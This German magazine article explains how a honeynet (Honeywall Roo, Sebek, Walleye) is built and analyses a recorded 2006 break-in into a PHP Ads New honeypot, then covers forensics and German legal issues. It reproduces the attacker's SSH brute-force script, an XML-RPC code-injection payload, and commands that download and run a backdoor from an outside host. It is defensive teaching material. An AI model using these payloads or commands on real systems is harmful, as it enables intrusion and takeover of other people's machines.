© Saniphoto, Fotolia.com

Richtig konfiguriert zu einem Netzwerk zusammengeschlossen täuschen elektronische Köder nicht nur automatisierte Schadprogramme, sondern auch menschliche Angreifer. Der sicherheitsbewusste Admin kann sie beobachten, aufzeichnen und ihre Methoden und Werkzeuge analysieren.

Jeder Admin findet sich über kurz oder lang in der Situation, einen infizierten Rechner zu reinigen. Die einfache Vorgehensweise liegt am nächsten: Festplatte kurzerhand formatieren und das System von einem vermeintlich sauberen Medium neu installieren. Aber wie kam es überhaupt zu der Infektion? Welche Schwachstelle hat der Angreifer ausgenutzt, um Zugang zum System zu erlangen, und zu welchem Zweck hat der Unbefugte den Rechner benutzt?

Natürlich kostet es viel Zeit und Erfahrung, ein infiziertes System zu untersuchen und die Spuren des Angreifers zu verfolgen. Gerade wenn es sich um Produktivsysteme handelt, muss der Admin die Ausfallzeit zur Kostenvermeidung so kurz wie möglich halten. Oft mangelt es ihm auch an der nötigen Erfahrung im Umgang mit infizierten Rechnern: Wo sind die Informationen zu finden, worauf muss er achten und welche Systemwerkzeuge sind noch verlässlich, wenn er auf einem kompromittierten System nach Spuren sucht?

Angreifer anlocken

Präparierte Köder-Systeme oder Honeypots [1] ermöglichen es, erste Erfahrungen mit Angriffen aus dem Internet zu sammeln. Sie täuschen nach außen ein produktives System mit Schwachstellen vor. So laden sie Angreifer dazu ein, das System zu übernehmen. Was die Angreifer nicht wissen: Anders als normale Rechner werden Honeypots genauestens überwacht. Der Honeypot verfügt über spezielle Werkzeuge, die alle ausgeführten Kommandos mitlesen und über das Netzwerk zurück an die so genannte Honeywall senden (Abbildung 1). Die Honeywall verfügt ihrerseits über spezielle Werkzeuge, die der Steuerung und dem Schutz dienen.

Abbildung 1: Das Honeynet aus Admin-Sicht: Die Honeywall ist Zentrum und Schnittstelle zwischen den Honeypots und dem Administrationsnetz. Der Angreifer sieht nur die virtuellen oder realen Honeypots.

Honeypots treten als physische oder virtualisierte Systeme auf. Virtualisierte Hardware hat den Kostenvorteil auf ihrer Seite, außerdem ist der kompromittierte Honeypot für den Administrator schnell neu aufzusetzen. Andererseits identifiziert der Angreifer leicht das virtualisierte System und wendet sich ab. Außerdem würde eine unbekannte Schwachstelle in der Virtualisierungssoftware das Basis-System und alle dort laufenden virtuellen Maschinen angreifbar machen. Um solche ungewollten Kompromittierungen der Honeywall zu verhindern, erhält sie ein eigenes physisches System. Die Auswertung eines Angriffs erfolgt in der Regel retrospektiv. Gängige Werkzeuge wie Wireshark oder TCPdump erlauben, den ein- und ausgehenden Netzwerkverkehr der Honeypots live zu beobachten.

Die Honeypot-Idee lässt sich auf ein Netzwerk von Honeypots ausweiten, das Honeynet. Der Zusammenschluss mehrerer Pots, die mit unterschiedlichen Betriebssystemen und Schwachstellen präpariert sind, erhöht einerseits die Wahrscheinlichkeit, dass jeder Angreifer eine zu ihm passende Schwachstelle findet. Zudem hat der Betreiber die Möglichkeit, das Verhalten der Honeypots auch untereinander zu beobachten. Der Operator eines Honeynet schafft sich ein eigenes Szenario und sammelt Erfahrungen mit Angriffsstrategien und digitaler Forensik, ohne Produktivsysteme zu gefährden.

Wissen, was sie tun

Ein High Interaction Honeynet der dritten Generation (siehe Kasten “Entwicklung der Honigfalle”) braucht zwei getrennte Netzwerke. Im ersten Netz sitzen die einzelnen Honeypots, das zweite dient der Administration des gesamten Honeynet. Einzige Schnittstelle ist die Honeywall, vom Honeynet-Projekt als Roo implementiert [2]. Alle im Honeynet gesammelten Informationen fließen hier zusammen und sind vom Administrationsbereich aus zugänglich. Eine schrittweise Installationsanleitung für die Honeywall Roo stellt das Honeynet-Projekt bereit [3]. Als Zentrale des Honeynet erfüllt die Honeywall die Aufgaben Datenkontrolle, Datenerfassung und Datenanalyse.

Zur Datenkontrolle zählen alle Maßnahmen der Honeywall, um Systeme außerhalb des Honeynet vor Angriffen zu schützen. Dafür verwendet sie das Spezialtool Snort-Inline [4], aber beispielsweise setzt sie auch eine Netfilter-Regel ein, die ausgehende TCP-Verbindungen limitiert. Mehr Details beschreibt der Text “A Primer on Honeynet Data Control Requirements” von Ryan Talabis [5].

Sehen, was sie tippen

Als Basis für spätere Angriffsanalysen ist Datenerfassung die Hauptaufgabe der Honeywall. Ihre Werkzeuge sind zum Beispiel das Programm POF (Passive OS Fingerprinting, [6]), das ihren Netzwerkverkehr analysiert und versucht an Hand der gesetzten TCP/IP-Parameter das sendende Betriebssystem zu ermitteln. Der Swatch (Simple Watcher of Logfiles, [7]) untersucht Logdateien der Honeywall auf durch reguläre Ausdrücke spezifizierte Ereignisse und verschickt zum Beispiel eine E-Mail an den Administrator, sobald er verdächtigen Netzwerkverkehr beobachtet. Schließlich sitzt Sebek [8] als Kernelmodul – beziehungsweise Windows-Treiber – tief im Betriebssystem des Honeypot und protokolliert alle von einem Angreifer durchgeführten Operationen, etwa Tastatureingaben oder Datei-Operation (Abbildung 2).

Abbildung 2: Sebek versteckt sich tief im Betriebssystem des Honeypot. Es protokolliert die Operationen des Angreifers und merkt sich zum Beispiel die Tastatureingaben.

Alle gewonnenen Daten legen die Honeypots auf dem Honeywall-System ab. Die komplette Datenerfassung eines Generation-III-Honeynet beschreiben Edward Balas und Camilo Viecco im Rahmen eines Security-Workshops der IEEE an der United States Military Academy [9].

Die Datenanalyse bringt schließlich die unabhängig voneinander gespeicherten Daten in Relation zueinander. Dazu dient das Programm Walleye, eine grafische Schnittstelle zwischen den auf der Honeywall abgelegten Informationen und dem Benutzer. Neben dem generellen Netzwerkverkehr lassen sich hier Details zu den einzelnen Honeypots abfragen (Abbildung 3). Walleye stellt zum Beispiel die Sebek-Daten als Prozessgraph dar und gibt damit einen guten Überblick über die vom Angreifer auf einem Honeypot durchgeführten Aktionen. Walleye exportiert auch Netzwerkverkehrsdaten im Pcap-Format, die sich so in andere Analysewerkzeuge wie Wireshark importieren lassen. Schließlich dient Walleye auch zur nachträglichen Konfiguration der Honeywall.

Was die genannten Honeypot-Komponenten verraten, illustriert ein aufgezeichneter Einbruch aus dem Jahr 2006.

Abbildung 3: Die grafische Benutzerschnittstelle Walleye zeigt hier den eingehenden und den ausgehenden Netzwerkverkehr des Honeynet sowie die Anzahl der Einbruchswarnungen an.

Großes Kino

Auf einem nicht aktualisierten Red Hat Linux 8 des Jahres 2002 laufen ein Apache-Webserver und die als verwundbar geltende Software PHP Ads New [10]. Ihre bekannte Schwachstelle ist die XML-RPC-Bibliothek von PHP [11], die dem Angreifer ermöglicht, Befehle mit den Rechten des Webservers auf dem Honeypot auszuführen. Sie betrifft die PHP-Ads-New-Versionen bis 2.0.5.

Um zu vermeiden, dass die IP-Adressen der Fallen allgemein bekannt werden, wechseln sie nach einiger Zeit. Zum Zeitpunkt des Angriffes besitzt der Honeypot eine IP-Adresse aus dem Bereich 192.35.0.0/16. Die auf der Honeywall aufgezeichneten IPs in den Logdaten zeigen, dass der Eindringling von vier Rechnern aus angreift. Es ist jedoch davon auszugehen, dass der Angreifer über gekaperte Rechner agiert.

Es gelingt der Software POF trotz passiver Analyse des Netzwerkverkehrs nicht, herauszufinden, welche Betriebssysteme auf den Rechnern des Angreifers laufen: Die Parameter der Netzwerkpakete sind zu allgemein für die exakte Zuordnung zu einem Betriebssystem. Der Benutzername des Eindringlings scheint Methadon zu sein, da er später einen SSH-Schlüssel dieses Benutzers auf dem Honeypot ablegt. Auch der Autor einiger Programme (Listing 1), die der Angreifer auf den Honeypot kopiert, nennt sich so.

01 #!/bin/bash
02 #
03 # by MethadoN
04 #
05 
06 if [ $# != 1 ]; then
07         echo " usage: $0 <b class>"
08         exit;
09 fi
10 
11 rm -rf scan.log
12 clear
13 rm -rf 0 1 2 3 4 5 gen-pass.sh secure screen scan
14 echo -e "33[1;36m#-~-=- BruTeSSH Scanner -=-~-#"
15 echo -e "#-~-=- Original by #eNable Team -=-~-#"
16 echo -e "33[1;37m#-~-=- Do NOT share this shit -=-~-#33[1;31m"
17 sleep 1
18 ././pscan2 $1 22
19 echo -e "33[1;36m#-~-=- BRUTEFORCE STARTED -=-~-#33[0m"
20 echo -e "33[1;36m#-~-=- Gr33tz to MethadoN ;) -=-~-#33[0m"
21 echo -e "33[1;36m#-~-=- Users NO.1 -=-~-#33[0m"
22 cp 0 pass.txt
23 ./sshd 100
24 sleep 5
25 echo -e "33[1;36m#-~-=- Users NO.2 -=-~-#33[0m"
26 cp 1 pass.txt
27 ...
28 ./sshd 100
29 echo -e "33[1;36m#-~-=- Party Over, Try Again :-) -=-~-#33[0m"

Am 7. Mai kurz nach 15 Uhr startet der Angriff (Tabelle 1). Zunächst versucht der Angreifer eine zu diesem Zeitpunkt als verwundbar geltende Webanwendung auf dem Honeypot ausfindig zu machen. Dazu will er mit unterschiedlichen URLs die Datei »xmlrpc.php« öffnen und über zusätzliche Parameter Kommandos auf dem System ausführen. Nach knapp zwei Minuten ist die passende URL für PHP Ads New gefunden. Ein POST-Request der Art

<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_n';echo `uname -a`;echo '_end_';exit;/*</name></value></param></params></methodCall>

liefert dem Angreifer zum Beispiel die Kernelversion des Betriebssystems. Das unautorisierte Ausführen des Systemkommandos »uname -a« ist bereits als erfolgreicher Angriff zu werten. Nun kann er passende Exploits ausführen.

Der Eindringling installiert jetzt verschiedene Skripte auf dem Honeypot. Es gelingt ihm, mit Hilfe eines lokal ausgeführten Exploit seine Rechte auf Root zu erweitern (20.51 Uhr). Damit hat er volle Kontrolle über das System. Mit einem passenden Exploit installiert er mehrere SSH-Scanner, einen Scanner zum Aufspüren von verwundbaren PHP-Anwendungen und ein Rootkit mit Hintertür. Mit Hilfe des Schwachstellen-Scanners installiert er eine in Perl verfasste Hintertür mit dem Namen “Data ChaOS Connect Back Backdoor”, die ihm die Interaktion mit dem kompromittierten System erleichtert.

Über eine zweite Hintertür des Rootkits SHv5 auf Port 1400 (Abbildung 4) kann der Angreifer sich ab sofort auch ohne den lokalen Exploit jederzeit unbemerkt als Root am System anmelden. Obwohl die Hintertür auf Port 1400 installiert ist, laufen viele Verbindungen des Angreifers über den regulären SSH-Dienst. Die Hintertür dient ihm also nur als Notfall-Lösung, um jederzeit erneut Zugriff auf das System zu erlangen, wenn der Admin den SSH-Zugang sperren sollte. Solange der reguläre SSH-Zugang funktioniert, gibt es jedoch keinen Anlass, die Hintertür zu verraten. Mittels SHv5 tauscht der Einbrecher auch Systemprogramme gegen modifizierte Versionen, um seine Spuren zu verwischen. Beispielsweise zeigt »ls« die Dateien des Rootkits nicht an. Da viele der Programme, die der Angreifer auf dem Honeypot installiert, speziell auf Red Hat Linux zugeschnitten sind, war der Angriff vermutlich gut geplant.

Abbildung 4: Dieses SHv5-Rootkit hat der Angreifer auf dem Honeypot installiert, nachdem er mit Hilfe der Abfrage von Systeminformationen lokale Schwachstellen ausfindig machte.

Finale mit Hindernissen

Kurzzeitig sammelt der Angreifer Paypal-Benutzernamen und -Passwörter über eine Phishingseite ein (21.49 Uhr). Warum er sie nur kurzfristig aufsetzt, ist nicht nachvollziehbar. Der Einbrecher startet von dem übernommenen Honeypot aus weitere Angriffe im lokalen Netzwerk und in das Internet. Snort-Inline filtert Angriffe, für die bereits eine Signatur existiert. Der hier beschriebene Angreifer verwendet jedoch das reguläre HTTP-Protokoll, um weitere Rechner zu attackieren. Das ist schlecht zu verhindern, denn ein gesperrtes HTTP an der Honeywall hätte zur Folge, dass der Angreifer seine Werkzeuge nicht herunterladen kann. Auch ausgehende SSH-Verbindungen blockiert die Honeywall nicht, um dem Angreifer zu ermöglichen, auf den Honeypot zuzugreifen.

Allerdings unterbinden die Firewallregeln mit Hilfe eines Rate-Limits ausgehende Denial-of-Service-Angriffe. In der Standardkonfiguration erlaubt die Honeywall nur 15 ausgehende TCP- und 20 UDP-Verbindungen pro Tag. Somit schlägt der Versuch des Angreifers fehl, von dem gekaperten Honeypot aus den Server eines Webhosters in die Knie zu zwingen (2. Tag, 13.30 Uhr). Nachdem der Angreifer das festgestellt hat, scheint er einen Fehler in seiner UDP-Software zu vermuten, denn er lädt sie von einer anderen Quelle erneut herunter.

Um weitere Maschinen zu übernehmen, startet er auf ihnen die Kommandos »wget 208.25.xxx.xxx:443/bind.jpg«, »tar xzvf bind.jpg«, »chmod a+x httpd« und »./httpd« (3. Tag, 0.00 Uhr). Sie zielen auf die Installation einer mit den Rechten des Webservers laufenden Hintertür. In weniger als zwei Minuten hat der Angreifer sechs Rechner im Internet auf diese Weise übernommen. An dieser Stelle schalten die Autoren den Honeypot ab, um Schaden zu verhindern, und informieren alle betroffenen Administratoren.

Spuren analysieren

Für die Analyse nimmt der Admin die Honeypot-Rechner vom Netz und bindet deren kompromittierte Festplatten auf einem anderen Rechner ein. Dieser Schritt legt die Rootkits lahm, da die Systemprogramme der eingebundenen Festplatte nicht zum Einsatz kommen. Einige Vorsichtsmaßnahmen erhöhen noch den Wert der Analyse. Die von der Honeywall aufgezeichneten Logdaten, von wo der Angreifer welche Software auf das System lädt, sind nicht unbedingt vertrauenswürdig. Der Administrator sollte darum auch auf dem Honeypot selbst danach suchen. Außerdem versteckt sich zwar die Überwachungssoftware auf dem Honeypot vor dem Angreifer, aber falls er zum Beispiel den Netzwerkverkehr verschlüsselt, gehen Informationen verloren. Darum ist es nötig, die Aktivitäten des Angreifers zu verfolgen, um Gegenmaßnahmen zeitnah einzuleiten.

Auf dem kompromittierten Honeypot lassen sich Veränderungen am Dateisystem feststellen. Forensische Methoden [13] erlauben gelöschte Logdateien und Schadprogramme wiederherzustellen. Man erkennt damit, wie ein Angreifer seine Anwesenheit auf dem Rechner und die Veränderungen am Dateisystem zu verbergen sucht. Im beschriebenen Fall förderten die aufgespürten Logdateien des Schwachstellen-Scanners für Webanwendungen schließlich auch alle IP-Adressen zu Tage, die der Angreifer von dem Honeypot aus anvisiert hat.

Vorsicht ist geboten

Einbruchsstudien mittels Honeypots sind lehrreich und helfen vorbeugen. Rechtlich bewegt sich der Honeynet-Betreiber jedoch in einer Grauzone. Aus dem deutschen Recht sind mindestens drei Sachverhalte zu beachten: Beihilfe zu einer Straftat, Datenschutz sowie Haftung für den mittelbar durch einen Honeypot verursachten Schaden.

Die Beihilfe zur Straftat kommt laut einem juristischen Konferenzvortrag [14] nicht zum Tragen, wenn das Honeynet durch geeignete Sicherheitsmaßnahmen abgesichert ist. Meistens ist das Honeynet sogar deutlich sicherer als normale Rechner. Im zweiten Fall geht es um die Frage, ob man aus Datenschutzgründen überhaupt die Aktivitäten auf einem Honeypot aufzeichnen darf. Diese Frage erübrigt sich allerdings, da auch im realen Leben Überwachungssysteme Einbrecher aufzeichnen.

Für die Haftung gibt es keine eindeutige Antwort. Es bleibt, das Honeynet bestmöglich abzusichern, um Schaden abzuwenden. Der Betrieb eines Honeynet ist nichts, was man mal eben nebenbei tut. Der Betreiber muss schon rund um die Uhr hinschauen, um rechtzeitig eingreifen zu können. (ake)